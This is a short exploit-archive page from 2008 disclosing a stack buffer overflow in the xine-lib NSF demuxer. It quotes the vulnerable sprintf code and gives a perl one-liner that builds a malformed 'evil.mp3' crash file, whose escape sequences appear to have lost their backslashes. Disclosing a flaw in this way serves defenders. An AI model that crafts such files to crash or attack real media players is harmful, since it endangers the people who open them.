xine-lib <= 1.1.12 NSF demuxer Stack Overflow Vulnerability PoC

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : xine-lib <= 1.1.12 NSF demuxer Stack Overflow Vulnerability PoC
# Published : 2008-04-16
# Author : Guido Landi
# Previous Title : BS.Player 2.27 Build 959 SRT File Buffer Overflow PoC
# Next Title : DivX Player <= 6.7.0 SRT File Buffer Overflow PoC

xine-lib <= 1.1.12 is prone to a stack-based buffer overflow in the NES 
Sound Format demuxer(demux_nsf.c).


- Code

open_nsf_file():

109: this->title = strdup(&header[0x0E]);

demux_nsf_send_chunk():

122: char title[100];
162: sprintf(title, "%s, song %d/%d",
            this->title, this->current_song, this->total_songs);


- Affected applications

http://xinehq.de/index.php/releases


- PoC

perl -e 'print 
"x4Ex45x53x4Dx1Ax01x01x01x80x80x18x8Ax03x8A" . "x41" x 
114' > evil.mp3

# www.Syue.com [2008-04-16]